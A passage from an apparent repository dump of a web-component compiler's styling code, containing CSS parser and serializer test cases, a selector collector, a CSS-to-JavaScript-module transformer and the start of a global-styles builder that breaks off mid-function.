a2b3c{background:lime}#\\\\<p\\\\>{background:lime}#\\\\<\\\\>\\\\<\\\\<\\\\<\\\\>\\\\>\\\\<\\\\>{background:lime}#\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\[\\\\>\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\>\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\>\\\\+\\\\+\\\\+\\\\>\\\\+\\\\<\\\\<\\\\<\\\\<\\\\-\\\\]\\\\>\\\\+\\\\+\\\\.\\\\>\\\\+\\\\.\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\.\\\\.\\\\+\\\\+\\\\+\\\\.\\\\>\\\\+\\\\+\\\\.\\\\<\\\\<\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\+\\\\.\\\\>\\\\.\\\\+\\\\+\\\\+\\\\.\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\.\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\-\\\\.\\\\>\\\\+\\\\.\\\\>\\\\.{background:lime}#\\\\#{background:lime}#\\\\#\\\\#{background:lime}#\\\\#\\\\.\\\\#\\\\.\\\\#{background:lime}#\\\\_{background:lime}#\\\\.fake\\\\-class{background:lime}#foo\\\\.bar{background:lime}#\\\\3A hover{background:lime}#\\\\3A hover\\\\3A focus\\\\3A active{background:lime}#\\\\[attr\\\\=value\\\\]{background:lime}#f\\\\/o\\\\/o{background:lime}#f\\\\\\\\o\\\\\\\\o{background:lime}#f\\\\*o\\\\*o{background:lime}#f\\\\!o\\\\!o{background:lime}#f\\\\'o\\\\'o{background:lime}#f\\\\~o\\\\~o{background:lime}#f\\\\+o\\\\+o{background:lime}\",\n    ],\n    [\n      'font-face',\n      '@font-face {\\n  font-family: \"Bitstream Vera Serif Bold\";\\n  src: url(\"http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf\");\\n}\\n\\nbody {\\n  font-family: \"Bitstream Vera Serif Bold\", serif;\\n}\\n',\n      '@font-face{font-family:\"Bitstream Vera Serif Bold\";src:url(\"http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf\")}body{font-family:\"Bitstream Vera Serif Bold\", serif}',\n    ],\n    [\n      'font-face-linebreak',\n      '@font-face\\n  \\n       {\\n  font-family: \"Bitstream Vera Serif Bold\";\\n  src: url(\"http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf\");\\n}\\n\\nbody {\\n  font-family: \"Bitstream Vera Serif Bold\", serif;\\n}\\n',\n      '@font-face{font-family:\"Bitstream Vera Serif Bold\";src:url(\"http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf\")}body{font-family:\"Bitstream Vera Serif Bold\", serif}',\n    ],\n    ['empty font-face', '@font-face;', ''],\n    ['hose-linebreak', '@host\\n    {\\n        :scope { color: white; }\\n    }\\n', '@host{:scope{color:white}}'],\n    ['host', '@host {\\n  :scope {\\n    display: block;\\n  }\\n}\\n', '@host{:scope{display:block}}'],\n    [\n      'import',\n      '@import url(\"fineprint.css\") print;\\n@import url(\"bluish.css\") projection, tv;\\n@import \\'custom.css\\';\\n@import \"common.css\" screen, projection;\\n@import url(\\'landscape.css\\') screen and (orientation:landscape);\\n',\n      '@import url(\"fineprint.css\") print;@import url(\"bluish.css\") projection, tv;@import \\'custom.css\\';@import \"common.css\" screen, projection;@import url(\\'landscape.css\\') screen and (orientation:landscape);',\n    ],\n    ['import-linebreak', '@import\\n    url(test.css)\\n    screen\\n    ;\\n', '@import url(test.css)\\n    screen;'],\n    [\n      'import-messed',\n      '\\n   @import url(\"fineprint.css\") print;\\n  @import url(\"bluish.css\") projection, tv;\\n      @import \\'custom.css\\';\\n  @import \"common.css\" screen, projection  ;\\n\\n  @import url(\\'landscape.css\\') screen and (orientation:landscape);\\n',\n      '@import url(\"fineprint.css\") print;@import url(\"bluish.css\") projection, tv;@import \\'custom.css\\';@import \"common.css\" screen, projection;@import url(\\'landscape.css\\') screen and (orientation:landscape);',\n    ],\n    [\n      'keyframes',\n      '@keyframes fade {\\n  /* from above */\\n  from {\\n    /* from inside */\\n    opacity: 0;\\n  }\\n\\n  /* to above */\\n  to {\\n    /* to inside */\\n    opacity: 1;\\n  }\\n}\\n',\n      '@keyframes fade{from{opacity:0}to{opacity:1}}',\n    ],\n    [\n      'keyframes-advanced',\n      '@keyframes advanced {\\n  top {\\n    opacity[sqrt]: 0;\\n  }\\n\\n  100 {\\n    opacity: 0.5;\\n  }\\n\\n  bottom {\\n    opacity: 1;\\n  }\\n}\\n',\n      '@keyframes advanced{top{opacity[sqrt]:0}100{opacity:0.5}bottom{opacity:1}}',\n    ],\n    [\n      'keyframes-complex',\n      '@keyframes foo {\\n  0% { top: 0; left: 0 }\\n  30.50% { top: 50px }\\n  .68% ,\\n  72%\\n      , 85% { left: 50px }\\n  100% { top: 100px; left: 100% }\\n}\\n',\n      '@keyframes foo{0%{top:0;left:0}30.50%{top:50px}.68%,72%,85%{left:50px}100%{top:100px;left:100%}}',\n    ],\n    [\n      'keyframes-linebreak',\n      '@keyframes\\n    test\\n    {\\n        from { opacity: 1; }\\n        to { opacity: 0; }\\n    }\\n',\n      '@keyframes test{from{opacity:1}to{opacity:0}}',\n    ],\n    [\n      'keyframes-messed',\n      '@keyframes fade {from\\n  {opacity: 0;\\n     }\\nto\\n  {\\n     opacity: 1}}\\n',\n      '@keyframes fade{from{opacity:0}to{opacity:1}}',\n    ],\n    [\n      'keyframes-vendor',\n      '@-webkit-keyframes fade {\\n  from { opacity: 0 }\\n  to { opacity: 1 }\\n}\\n',\n      '@-webkit-keyframes fade{from{opacity:0}to{opacity:1}}',\n    ],\n    [\n      'media',\n      '@media screen, projection {\\n  /* html above */\\n  html {\\n    /* html inside */\\n    background: #fffef0;\\n    color: #300;\\n  }\\n\\n  /* body above */\\n  body {\\n    /* body inside */\\n    max-width: 35em;\\n    margin: 0 auto;\\n  }\\n}\\n\\n@media print {\\n  html {\\n    background: #fff;\\n    color: #000;\\n  }\\n  body {\\n    padding: 1in;\\n    border: 0.5pt solid #666;\\n  }\\n}\\n',\n      '@media screen, projection{html{background:#fffef0;color:#300}body{max-width:35em;margin:0 auto}}@media print{html{background:#fff;color:#000}body{padding:1in;border:0.5pt solid #666}}',\n    ],\n    [\n      'media-linebreak',\n      '@media\\n\\n(\\n    min-width: 300px\\n)\\n{\\n    .test { width: 100px; }\\n}\\n',\n      '@media ( min-width: 300px ){.test{width:100px}}',\n    ],\n    [\n      'media-messed',\n      '@media screen, projection{ html\\n  \\n  {\\nbackground: #fffef0;\\n    color:#300;\\n  }\\n  body\\n\\n{\\n    max-width: 35em;\\n    margin: 0 auto;\\n\\n\\n}\\n  }\\n\\n@media print\\n{\\n              html {\\n              background: #fff;\\n              color: #000;\\n              }\\n              body {\\n              padding: 1in;\\n              border: 0.5pt solid #666;\\n              }\\n}\\n',\n      '@media screen, projection{html{background:#fffef0;color:#300}body{max-width:35em;margin:0 auto}}@media print{html{background:#fff;color:#000}body{padding:1in;border:0.5pt solid #666}}',\n    ],\n    [\n      'media-screen-and-max',\n      '@media only \\n\\n screen and\\n\\n (max-width:    22.5em  ) {.lead{font-size:21px;}}',\n      '@media only screen and (max-width: 22.5em ){.lead{font-size:21px}}',\n    ],\n    [\n      'media-screen-and-min-and-max',\n      '@media only    screen and   \\n (min-width: 64.0625em)   \\t and (max-width: 40em) {.lead{font-size:21px;}}',\n      '@media only screen and (min-width: 64.0625em) and (max-width: 40em){.lead{font-size:21px}}',\n    ],\n    [\n      'messed-up',\n      \"body { foo\\n  :\\n  'bar' }\\n\\n   body{foo:bar;bar:baz}\\n   body\\n   {\\n     foo\\n     :\\n     bar\\n     ;\\n     bar\\n     :\\n     baz\\n     }\\n\",\n      \"body{foo:'bar'}body{foo:bar;bar:baz}body{foo:bar;bar:baz}\",\n    ],\n    [\n      'namespace',\n      '@namespace \"http://www.w3.org/1999/xhtml\";\\n@namespace svg \"http://www.w3.org/2000/svg\";\\n',\n      '@namespace \"http://www.w3.org/1999/xhtml\";@namespace svg \"http://www.w3.org/2000/svg\";',\n    ],\n    [\n      'namespace-linebreak',\n      '@namespace\\n    \"http://www.w3.org/1999/xhtml\"\\n    ;\\n',\n      '@namespace \"http://www.w3.org/1999/xhtml\";',\n    ],\n    [\n      'no-semi',\n      '\\ntobi loki jane {\\n  are: \\'all\\';\\n  the-species: called \"ferrets\"\\n}\\n',\n      'tobi loki jane{are:\\'all\\';the-species:called \"ferrets\"}',\n    ],\n    ['page-linebreak', '@page\\n    toc\\n    {\\n        color: black;\\n    }\\n', '@page toc{color:black}'],\n    [\n      'paged-media',\n      '/* toc above */\\n@page toc, index:blank {\\n  /* toc inside */\\n  color: green;\\n}\\n\\n@page {\\n  font-size: 16pt;\\n}\\n\\n@page :left {\\n  margin-left: 5cm;\\n}\\n',\n      '@page toc, index:blank{color:green}@page {font-size:16pt}@page :left{margin-left:5cm}',\n    ],\n    [\n      'props',\n      \"\\ntobi loki jane {\\n  are: 'all';\\n  the-species: called \\\"ferrets\\\";\\n  *even: 'ie crap';\\n}\\n\",\n      \"tobi loki jane{are:'all';the-species:called \\\"ferrets\\\";*even:'ie crap'}\",\n    ],\n    ['quote-escape', 'p[qwe=\"a\\\\\",b\"] { color: red }\\n', 'p[qwe=\"a\\\\\",b\"]{color:red}'],\n    [\n      'quoted',\n      \"body {\\n  background: url('some;stuff;here') 50% 50% no-repeat;\\n}\\n\",\n      \"body{background:url('some;stuff;here') 50% 50% no-repeat}\",\n    ],\n    ['rule', \"foo {\\n  bar: 'baz';\\n}\\n\", \"foo{bar:'baz'}\"],\n    [\n      'rules',\n      \"tobi {\\n  name: 'tobi';\\n  age: 2;\\n}\\n\\nloki {\\n  name: 'loki';\\n  age: 1;\\n}\\n\",\n      \"tobi{name:'tobi';age:2}loki{name:'loki';age:1}\",\n    ],\n    ['selectors', \"foo,\\nbar,\\nbaz {\\n  color: 'black';\\n}\\n\", \"foo,bar,baz{color:'black'}\"],\n    [\n      'supports',\n      '@supports (display: flex) or (display: box) {\\n  /* flex above */\\n  .flex {\\n    /* flex inside */\\n    display: box;\\n    display: flex;\\n  }\\n\\n  div {\\n    something: else;\\n  }\\n}\\n',\n      '@supports (display: flex) or (display: box){.flex{display:box;display:flex}div{something:else}}',\n    ],\n    [\n      'supports-linebreak',\n      '@supports\\n    (display: flex)\\n    {\\n        .test { display: flex; }\\n    }\\n',\n      '@supports (display: flex){.test{display:flex}}',\n    ],\n    [\n      'wtf',\n      '.wtf {\\n  *overflow-x: hidden;\\n  //max-height: 110px;\\n  #height: 18px;\\n}\\n',\n      '.wtf{*overflow-x:hidden;//max-height:110px;#height:18px}',\n    ],\n    [\n      `background url`,\n      `.test  \\n { background :   url(top.png) no-repeat, url(bottom.png) no-repeat, url(middle.png) no-repeat \\t;}`,\n      `.test{background:url(top.png) no-repeat, url(bottom.png) no-repeat, url(middle.png) no-repeat}`,\n    ],\n    [\n      `import`,\n      `@import   url('./one.css') ; \\n@import  url('./three.css')  ; /*some \\ncomment!\\n*/ #imports-with-comment   {   color  : #999;   }`,\n      `@import url('./one.css');@import url('./three.css');#imports-with-comment{color:#999}`,\n    ],\n    [\n      `:root`,\n      `:root  { \\n--color  : red  ; } body { color:    var(--color);  nowrap: '';}`,\n      `:root{--color:red}body{color:var(--color);nowrap:''}`,\n    ],\n    [\n      `input attr`,\n      `input[type=text], input[type=password]  ,\\n   input.text,   div  span  ,   select {   margin:  0.5em 0; }`,\n      `input[type=text],input[type=password],input.text,div span,select{margin:0.5em 0}`,\n    ],\n    [`content`, `.clearfix:before { content : \"\\\\0020\"; } `, `.clearfix:before{content:\"\\\\0020\"}`],\n    [\n      `attribute w/ ]`,\n      `a   #i[title=\"my \\\\] long title\"]  { color:red ;;}`,\n      `a #i[title=\"my \\\\] long title\"]{color:red}`,\n    ],\n    [`:focus`, `:focus   , :hover   {\\n outline   : 0   ;\\n}`, `:focus,:hover{outline:0}`],\n    [`quotes`, `blockquote   , q {\\n\\t  quotes: \"\" \"\";}`, `blockquote,q{quotes:\"\" \"\"}`],\n    [\n      `content2`,\n      `.clear:after   ,    .container:before   { content: \".\"; }`,\n      `.clear:after,.container:before{content:\".\"}`,\n    ],\n    [`* html`, `*   html a[id] .clear  {\\n height  :  1%;\\t}`, `* html a[id] .clear{height:1%}`],\n    [`:not`, `a  :not(b >  w):not( #c )    :nth(2 ) {  color  :  red  ;  }`, `a :not(b>w):not(#c) :nth(2){color:red}`],\n    [\n      `:host(.a)`,\n      `:host ( .a )  [id]   ::slotted( b    ),\\n    div   {  color : red ;  }`,\n      `:host(.a) [id] ::slotted(b),div{color:red}`,\n    ],\n    [`#id`, `#id   #id > :not(a)  {color:red;}`, `#id #id>:not(a){color:red}`],\n    [\n      `whatever`,\n      `a b  c\\n d  \\t e f  #id .f + g + a.r[r] a{ \\t  color    :    red    ;  \\t  }`,\n      `a b c d e f #id .f+g+a.r[r] a{color:red}`,\n    ],\n    [\n      `audio:not([controls])`,\n      `audio:not(  [controls] )   #a[b] {color:red ;; }`,\n      `audio:not([controls]) #a[b]{color:red}`,\n    ],\n    [`svg:not(:root)`, `svg:not(:root)   {\\t\\n\\roverflow \\r: hidden;}`, `svg:not(:root){overflow:hidden}`],\n    [\n      `hr~a>[`,\n      `hr  ~ a  >  [id] b + c  {   -webkit-box-sizing: content-box;  -moz-box-sizing  : content-box;      box-sizing: content-box;  }`,\n      `hr~a>[id] b+c{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}`,\n    ],\n    [\n      `::-webkit`,\n      `input[type=\"number\"]::-webkit-inner-spin-button  { a : a }`,\n      `input[type=\"number\"]::-webkit-inner-spin-button{a:a}`,\n    ],\n    [`!important`, `img {  max-width  : 100% !important  ;}`, `img{max-width:100% !important}`],\n    [\n      `@media (min-width:`,\n      `@media (min-width: 768px) { .lead {  font-size: 21px;   }}`,\n      `@media (min-width: 768px){.lead{font-size:21px}}`,\n    ],\n    [\n      `abbr[title]`,\n      `abbr[title] , abbr   [title=\"hello   world\"] {   cursor: help;  border-bottom:  1px dotted  #777;}`,\n      `abbr[title],abbr [title=\"hello   world\"]{cursor:help;border-bottom:1px dotted  #777}`,\n    ],\n  ])('%s', (_testName, cssString, expectedOutput) => {\n    const results = parseCss(cssString);\n    const output = serializeCss(results.stylesheet, {});\n    expect(output).toBe(expectedOutput);\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/css-parser/used-selectors.ts",
    "content": "/**\n * Collects all used selectors (tags, class names, ids, attributes) from a given DOM element and its children.\n * Mainly used during SSR / prerendering to determine which CSS rules are necessary.\n *\n * @param elm The root element from which to start collecting used selectors.\n * @returns The set of used selectors found within the element and its descendants.\n */\nexport const getUsedSelectors = (elm: Element) => {\n  const usedSelectors: UsedSelectors = {\n    attrs: new Set(),\n    classNames: new Set(),\n    ids: new Set(),\n    tags: new Set(),\n  };\n  collectUsedSelectors(usedSelectors, elm);\n  return usedSelectors;\n};\n\nconst collectUsedSelectors = (usedSelectors: UsedSelectors, elm: Element) => {\n  if (elm != null && elm.nodeType === 1) {\n    // tags\n    const children = elm.children;\n    const tagName = elm.nodeName.toLowerCase();\n    usedSelectors.tags.add(tagName);\n\n    // attributes\n    const attributes = elm.attributes;\n    for (let i = 0, l = attributes.length; i < l; i++) {\n      const attr = attributes.item(i);\n      const attrName = attr.name.toLowerCase();\n\n      usedSelectors.attrs.add(attrName);\n\n      if (attrName === 'class') {\n        // classes\n        const classList = elm.classList;\n        for (let i = 0, l = classList.length; i < l; i++) {\n          usedSelectors.classNames.add(classList.item(i));\n        }\n      } else if (attrName === 'id') {\n        // ids\n        usedSelectors.ids.add(attr.value);\n      }\n    }\n\n    // drill down\n    if (children) {\n      for (let i = 0, l = children.length; i < l; i++) {\n        collectUsedSelectors(usedSelectors, children[i]);\n      }\n    }\n  }\n};\n\nexport interface UsedSelectors {\n  tags: Set<string>;\n  classNames: Set<string>;\n  ids: Set<string>;\n  attrs: Set<string>;\n}\n"
  },
  {
    "path": "src/compiler/style/css-to-esm.ts",
    "content": "import { catchError, createJsVarName, DEFAULT_STYLE_MODE, hasError, isString, normalizePath, resolve } from '@utils';\nimport { scopeCss } from '@utils/shadow-css';\nimport MagicString from 'magic-string';\nimport path from 'path';\n\nimport type * as d from '../../declarations';\nimport { parseStyleDocs } from '../docs/style-docs';\nimport { optimizeCss } from '../optimize/optimize-css';\nimport { serializeImportPath } from '../transformers/stencil-import-path';\nimport { getScopeId } from './scope-css';\nimport { stripCssComments } from './style-utils';\nimport { addTagTransformToCssString } from '../transformers/transform-utils';\nimport { TRANSFORM_TAG } from '../transformers/core-runtime-apis';\nimport { STENCIL_CORE_ID } from '../bundle/entry-alias-ids';\n\n/**\n * A regular expression for matching CSS import statements\n *\n * According to https://developer.mozilla.org/en-US/docs/Web/CSS/@import\n * the formal grammar for CSS import statements is:\n *\n * ```\n * @import [ <url> | <string> ]\n *         [ supports( [ <supports-condition> | <declaration> ] ) ]?\n *         <media-query-list>? ;\n * ```\n *\n * Thus the string literal `\"@import\"` will be followed by a `<url>` or a\n * `<string>`, where a `<url>` may be a relative or absolute URL _or_ a `url()`\n * function.\n *\n * Thus the regular expression needs to match:\n *\n * - the string `\"@import\n * - any amount of whitespace\n * - a URL, comprised of:\n *   - an optional `url(` function opener\n *   - a non-greedy match on any characters (to match the argument to the URL\n *     function)\n *   - an optional `)` closing paren on the `url()` function\n * - trailing characters after the URL, given by anything which doesn't match\n *   the line-terminator `;`\n *   - this can match media queries, support conditions, and so on\n * - a line-terminating semicolon\n *\n * The regex has 4 capture groups:\n *\n * 1. `@import`\n * 2. `url(`\n * 3. characters after `url(`\n * 4. all characters other than `;`, greedily matching\n *\n * We typically only care about group 4 here.\n */\nconst CSS_IMPORT_RE = /(@import)\\s+(url\\()?\\s?(.*?)\\s?\\)?([^;]*);?/gi;\n\n/**\n * Our main entry point to this module. This performs an async transformation\n * of CSS input to ESM.\n *\n * @param input CSS input to be transformed to ESM\n * @returns a promise wrapping transformed ESM output\n */\nexport const transformCssToEsm = async (input: d.TransformCssToEsmInput): Promise<d.TransformCssToEsmOutput> => {\n  const results = transformCssToEsmModule(input);\n\n  const optimizeResults = await optimizeCss({\n    autoprefixer: input.autoprefixer,\n    input: results.styleText,\n    filePath: input.file,\n    minify: true,\n    sourceMap: input.sourceMap,\n  });\n\n  results.diagnostics.push(...optimizeResults.diagnostics);\n  if (hasError(optimizeResults.diagnostics)) {\n    return results;\n  }\n  results.styleText = optimizeResults.output;\n\n  return generateTransformCssToEsm(input, results);\n};\n\n/**\n * A sync function for transforming input CSS to ESM\n *\n * @param input the input CSS we're going to transform\n * @returns transformed ESM output\n */\nexport const transformCssToEsmSync = (input: d.TransformCssToEsmInput): d.TransformCssToEsmOutput => {\n  const results = transformCssToEsmModule(input);\n  return generateTransformCssToEsm(input, results);\n};\n\n/**\n * Performs the actual transformation from CSS to ESM\n *\n * @param input input CSS to be transformed\n * @returns ESM output\n */\nconst transformCssToEsmModule = (input: d.TransformCssToEsmInput): d.TransformCssToEsmOutput => {\n  const results: d.TransformCssToEsmOutput = {\n    styleText: input.input,\n    output: '',\n    map: null,\n    diagnostics: [],\n    imports: [],\n    defaultVarName: createCssVarName(input.file, input.mode),\n    styleDocs: [],\n  };\n\n  if (input.docs) {\n    parseStyleDocs(results.styleDocs, input.input, input.mode);\n  }\n\n  try {\n    const varNames = new Set([results.defaultVarName]);\n\n    if (isString(input.tag) && input.encapsulation === 'scoped') {\n      const scopeId = getScopeId(input.tag, input.mode);\n      results.styleText = scopeCss(results.styleText, scopeId, false);\n    }\n\n    const cssImports = getCssToEsmImports(varNames, results.styleText, input.file, input.mode);\n    cssImports.forEach((cssImport) => {\n      // remove the original css @imports\n      results.styleText = results.styleText.replace(cssImport.srcImportText, '');\n\n      const importPath = serializeImportPath(\n        {\n          importeePath: cssImport.filePath,\n          importerPath: input.file,\n          tag: input.tag,\n          encapsulation: input.encapsulation,\n          mode: input.mode,\n          isNodeModule: cssImport.isNodeModule,\n        },\n        input.styleImportData,\n      );\n\n      // str.append(`import ${cssImport.varName} from '${importPath}';\\n`);\n      results.imports.push({\n        varName: cssImport.varName,\n        importPath,\n      });\n    });\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n};\n\n/**\n * Updated the `output` property on `results` with appropriate import statements for\n * the CSS import tree and the module type.\n *\n * @param input the CSS to ESM transform input\n * @param results the corresponding output\n * @returns the modified ESM output\n */\nconst generateTransformCssToEsm = (\n  input: d.TransformCssToEsmInput,\n  results: d.TransformCssToEsmOutput,\n): d.TransformCssToEsmOutput => {\n  const s = new MagicString('');\n\n  // Replace literal newlines/tabs/returns with spaces to avoid them becoming escape sequences\n  // Then handle other special characters and escape backslashes last\n  results.styleText = results.styleText\n    .replace(/\\n/g, ' ')\n    .replace(/\\r/g, ' ')\n    .replace(/\\t/g, ' ')\n    .replace(/`/g, '\\\\`')\n    .replace(/\\u000c/g, '\\\\f')\n    .replace(/\\u0008/g, '\\\\b')\n    .replace(/\\u000b/g, '\\\\v')\n    .replace(/\\0/g, '\\\\0')\n    .replace(/\\\\/g, '\\\\\\\\');\n\n  if (input.addTagTransformers) {\n    results.styleText = addTagTransformToCssString(results.styleText, input.tags);\n  }\n\n  // Strip CSS comments before embedding in template literal\n  // This includes /** */ and /*! */ comments (Sass loud comments)\n  // Note: Style docs have already been parsed in transformCssToEsmModule\n  results.styleText = stripCssComments(results.styleText);\n\n  if (input.module === 'cjs') {\n    // CommonJS\n    if (input.addTagTransformers) {\n      s.append(`const ${TRANSFORM_TAG} = require('${STENCIL_CORE_ID}').transformTag;\\n`);\n    }\n    results.imports.forEach((cssImport) => {\n      s.append(`const ${cssImport.varName} = require('${cssImport.importPath}');\\n`);\n    });\n\n    s.append(`const ${results.defaultVarName} = () => `);\n\n    results.imports.forEach((cssImport) => {\n      s.append(`${cssImport.varName} + `);\n    });\n\n    s.append(`\\`${results.styleText}\\`;\\n`);\n    s.append(`module.exports = ${results.defaultVarName};`);\n  } else {\n    // ESM\n    if (input.addTagTransformers) {\n      s.append(`import { transformTag as ${TRANSFORM_TAG}  } from '${STENCIL_CORE_ID}';\\n`);\n    }\n    results.imports.forEach((cssImport) => {\n      s.append(`import ${cssImport.varName} from '${cssImport.importPath}';\\n`);\n    });\n\n    s.append(`const ${results.defaultVarName} = () => `);\n\n    results.imports.forEach((cssImport) => {\n      s.append(`${cssImport.varName} + `);\n    });\n\n    s.append(`\\`${results.styleText}\\`;\\n`);\n    s.append(`export default ${results.defaultVarName};`);\n  }\n\n  results.output = s.toString();\n  return results;\n};\n\n/**\n * Get all of the CSS imports in a file\n *\n * @param varNames a set into which new names will be added\n * @param cssText the CSS text in question\n * @param filePath the file path to the file in question\n * @param modeName the current mode name\n * @returns an array of import objects\n */\nconst getCssToEsmImports = (\n  varNames: Set<string>,\n  cssText: string,\n  filePath: string,\n  modeName: string,\n): d.CssToEsmImportData[] => {\n  const cssImports: d.CssToEsmImportData[] = [];\n\n  if (!cssText.includes('@import')) {\n    // no @import at all, so don't bother\n    return cssImports;\n  }\n\n  cssText = stripCssComments(cssText);\n\n  const dir = path.dirname(filePath);\n\n  let r: RegExpExecArray;\n  while ((r = CSS_IMPORT_RE.exec(cssText))) {\n    const cssImportData: d.CssToEsmImportData = {\n      srcImportText: r[0],\n      url: r[4].replace(/[\\\"\\'\\)]/g, ''),\n      filePath: null,\n      varName: null,\n      isNodeModule: false,\n    };\n\n    if (!isLocalCssImport(cssImportData.srcImportText)) {\n      // do nothing for @import url(http://external.css)\n      continue;\n    } else if (isCssNodeModule(cssImportData.url)) {\n      // Node module import with ~ prefix\n      // Strip the ~ and use the path as-is for module resolution\n      cssImportData.filePath = cssImportData.url.substring(1);\n      cssImportData.isNodeModule = true;\n    } else if (path.isAbsolute(cssImportData.url)) {\n      // absolute path already\n      cssImportData.filePath = normalizePath(cssImportData.url);\n    } else {\n      // relative path\n      cssImportData.filePath = normalizePath(resolve(dir, cssImportData.url));\n    }\n\n    cssImportData.varName = createCssVarName(cssImportData.filePath, modeName);\n\n    if (varNames.has(cssImportData.varName)) {\n      cssImportData.varName += varNames.size;\n    }\n    varNames.add(cssImportData.varName);\n\n    cssImports.push(cssImportData);\n  }\n\n  return cssImports;\n};\n\n/**\n * Check if a module URL is a css node module\n *\n * @param url to check\n * @returns whether or not it's a Css node module\n */\nconst isCssNodeModule = (url: string): boolean => {\n  return url.startsWith('~');\n};\n\n/**\n * Check if a given import is a local import or not (i.e. check that it\n * is not importing from some other domain)\n *\n * @param srcImport the import to check\n * @returns whether it's local or not\n */\nconst isLocalCssImport = (srcImport: string) => {\n  srcImport = srcImport.toLowerCase();\n\n  if (srcImport.includes('url(')) {\n    srcImport = srcImport.replace(/\\\"/g, '');\n    srcImport = srcImport.replace(/\\'/g, '');\n    srcImport = srcImport.replace(/\\s/g, '');\n    if (srcImport.includes('url(http') || srcImport.includes('url(//')) {\n      return false;\n    }\n  }\n\n  return true;\n};\n\n/**\n * Given a file path and a mode name, create an appropriate variable name\n *\n * @param filePath the path we want to use\n * @param modeName the name for the current style mode (i.e. `md` or `ios` on Ionic)\n * @returns an appropriate Css var name\n */\nconst createCssVarName = (filePath: string, modeName: string): string => {\n  let varName = path.basename(filePath);\n  if (modeName && modeName !== DEFAULT_STYLE_MODE && !varName.includes(modeName)) {\n    varName = modeName + '-' + varName;\n  }\n  return createJsVarName(varName);\n};\n"
  },
  {
    "path": "src/compiler/style/global-styles.ts",
    "content": "import { catchError, isOutputTargetDistGlobalStyles, normalizePath } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { runPluginTransforms } from '../plugin/plugin';\nimport { getCssImports } from './css-imports';\nimport { optimizeCss } from './optimize-css';\n\nexport const generateGlobalStyles = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n) => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistGlobalStyles);\n  if (outputTargets.length === 0) {\n    return '';\n  }\n\n  const globalStyles = await buildGlobalStyles(config, compilerCtx, buildCtx);\n  if (globalStyles) {\n    await Promise.all(outputTargets.map((o) => compilerCtx.fs.writeFile(o.file, globalStyles)));\n  }\n\n  return globalStyles;\n};\n\nconst buildGlobalStyles = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  let globalStylePath = config.globalStyle;\n  if (!globalStylePath) {\n    return null;\n  }\n\n  const canSkip = await canSkipGlobalStyles(config, compilerCtx, buildCtx);\n  if (canSkip) {\n    return compilerCtx.cachedGlobalStyle;\n  }\n\n  try {\n    globalStylePath = normalizePath(globalStylePath);\n    compilerCtx.addWatchFile(globalStylePath);\n\n    const transformResults = await runPluginTransforms(config, compilerCtx, buildCtx, globalStylePath);\n\n    if (transformResults) {\n      let cssCode: string;\n      let dependencies: string[] | undefined;\n\n      if (typeof transformResults === 'string') {\n        // Handle case where transformResults is a string (the CSS code directly)\n        cssCode = transformResults;\n        dependencies = undefined;\n      } else if (typeof transformResults === 'object' && transformResults.code) {\n        // Handle case where transformResults is a PluginTransformationDescriptor object\n        cssCode = transformResults.code;\n        dependencies = transformResults.dependencies;\n      } else {\n        // Invalid transformResults\n        compilerCtx.cachedGlobalStyle = null;\n        return null;\n      }\n\n      const optimizedCss = await optimizeCss(config, compilerCtx, buildCtx.diagnostics, cssCode, globalStylePath);\n      compilerCtx.cachedGlobalStyle = optimizedCss;\n\n      if (Array.isArray(dependencies)) {\n        const cssModuleImports = compilerCtx.cssModuleImports.get(globalStylePath) || [];\n        dependencies.forEach((dep: string) => {\n          compilerCtx.addWatchFile(dep);\n          if (!cssModuleImports.includes(dep)) {\n            cssModuleImports.push(dep);\n          }\n        });\n        compilerCtx.cssModuleImports.set(globalStylePath, cssModuleImports);\n      }\n\n      // Track global style changes for HMR\n      if (buildCtx.isRebuild && config.devServer?.reloadStrategy === 'hmr') {\n        buildCtx.stylesUpdated.push({\n          styleTag: 'global',\n          styleMode: undefined,\n          styleText: optimizedCss,\n        });\n      }\n\n      return optimizedCss;\n    }\n  } catch (e: any) {\n    const d = catchError(buildCtx.diagnostics, e);\n    d.absFilePath = globalStylePath;\n  }\n\n  compilerCtx.cachedGlobalStyle = null;\n  return null;\n};\n\nconst canSkipGlobalStyles = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  if (!compilerCtx.cachedGlobalStyle) {\n    return false;\n  }\n\n  if (buildCtx.requiresFullBuild) {\n    return false;\n  }\n\n  if (buildCtx.isRebuild && !buildCtx.hasStyleChanges) {\n    return true;\n  }\n\n  if (buildCtx.filesChanged.includes(config.globalStyle)) {\n    // changed file IS the global entry style\n    return false;\n  }\n\n  const cssModuleImports = compilerCtx.cssModuleImports.get(config.globalStyle);\n  if (cssModuleImports && buildCtx.filesChanged.some((f) => cssModuleImports.includes(f))) {\n    return false;\n  }\n\n  const hasChangedImports = await hasChangedImportFile(\n    config,\n    compilerCtx,\n    buildCtx,\n    config.globalStyle,\n    compilerCtx.cachedGlobalStyle,\n    [],\n  );\n  if (hasChangedImports) {\n    return false;\n  }\n\n  return true;\n};\n\nconst hasChangedImportFile = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  filePath: string,\n  content: string,\n  noLoop: string[],\n): 